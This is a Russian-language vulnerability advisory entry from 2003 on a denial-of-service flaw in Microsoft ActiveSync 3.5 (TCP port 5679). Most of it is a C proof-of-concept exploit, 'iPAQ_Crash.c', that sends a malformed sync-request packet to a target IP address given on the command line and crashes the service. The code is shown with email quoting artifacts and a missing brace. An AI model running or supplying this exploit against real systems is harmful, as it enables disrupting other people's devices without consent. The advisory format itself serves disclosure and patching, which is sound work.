| Дата публикации: | 24.03.2003 |
| Всего просмотров: | 1523 |
| Опасность: | Низкая |
| Наличие исправления: | Нет |
| Количество уязвимостей: | 1 |
| CVE ID: | Нет данных |
| Вектор эксплуатации: | Локальная сеть |
| Воздействие: | Отказ в обслуживании |
| CWE ID: | Нет данных |
| Наличие эксплоита: | Нет данных |
| Уязвимые продукты: | Microsoft ActiveSync 3.x |
| Описание: | Уязвимость отказа в обслуживании обнаружена в Microsoft ActiveSync. Удаленный пользователь может аварийно нарушить работу программы.
Information Risk Management сообщил, что удаленный пользователь может подключится к службе на 5679 TCP порту и послать некорректный "sync request" пакет, чтобы аварийно завершить работу программы. Уязвимость присутствует внутри функции WideCharToMultiByte(). Уязвимость обнаружена в Microsoft ActiveSync 3.5 (build 12007)
/* iPAQ_Crash.c - by Andy Davis*/
/* Strictly for testing purposes only */
/* Compile with Microsoft VC++ */
#include <winsock.h>
#include <windows.h>
#include <stdio.h>
#define ASYNC_PORT 5679
int main(int argc, char **argv)
unsigned char sendBuf[] =3D
/* Correct Header */
//"\x00\x00\x00\x00" /* Correct start of packet - by removing these 4 bytes=
the crash occurs */=20
"\x6e\x00\x00\x00" /* Length of the rest of the packet */=20
"\x24\x00\x00\x00"=20
"\x03\x00\xa3\x2b"=20
"\x11\x0a\x00\x00"=20
"\x00\x00\x00\x00"=20
"\xc3\x1d\xdd\x0c" /* 0xc31ddd0c Device Identifier */=20
"\x00\x00\x00\x00"=20
"\x24\x00\x00\x00" /* 0x24 pointer to "Pocket_PC" */=20
"\x38\x00\x00\x00" /* 0x38 pointer to "PocketPC" */=20
"\x4a\x00\x00\x00" /* 0x4a pointer to "Compaq iPAQ H3800" */
/* "Pocket_PC PocketPC Compaq iPAQ H3800" (in unicode) */
"\x50\x00\x6f\x00\x63\x00\x6b\x00\x65\x00\x74\x00"
"\x5f\x00\x50\x00\x43\x00\x00\x00\x50\x00\x6f\x00\x63\x00\x6b\x00"
"\x65\x00\x74\x00\x50\x00\x43\x00\x00\x00\x43\x00\x6f\x00\x6d\x00"
"\x70\x00\x61\x00\x71\x00\x20\x00\x69\x00\x50\x00\x41\x00\x51\x00"
"\x20\x00\x48\x00\x33\x00\x38\x00\x39\x00\x30\x00\x00\x00";
struct sockaddr_in servAddr;
int s;
WSADATA WSAData;
if(WSAStartup (MAKEWORD(1,1), &WSAData) !=3D 0)
{
printf("WSAStartup failed.\n");
WSACleanup();
exit(1);
}
if (argc !=3D 2)
{
printf ("\niPAQ_Crash\n");
printf ("\nUsage: %s <target IP address>\n",argv[0]);
exit (1);
}
servAddr.sin_family =3D AF_INET;
servAddr.sin_addr.s_addr =3D inet_addr(argv[1]);
servAddr.sin_port =3D htons(ASYNC_PORT);
s =3D socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr *) &servAddr, sizeof(servAddr));
printf("Sending packet...");
if ( send(s, sendBuf, 118, 0) =3D=3D 0)
{
printf("Error sending packet...quitting\n\n");
exit (0);
}
closesocket(s);
return(0);
|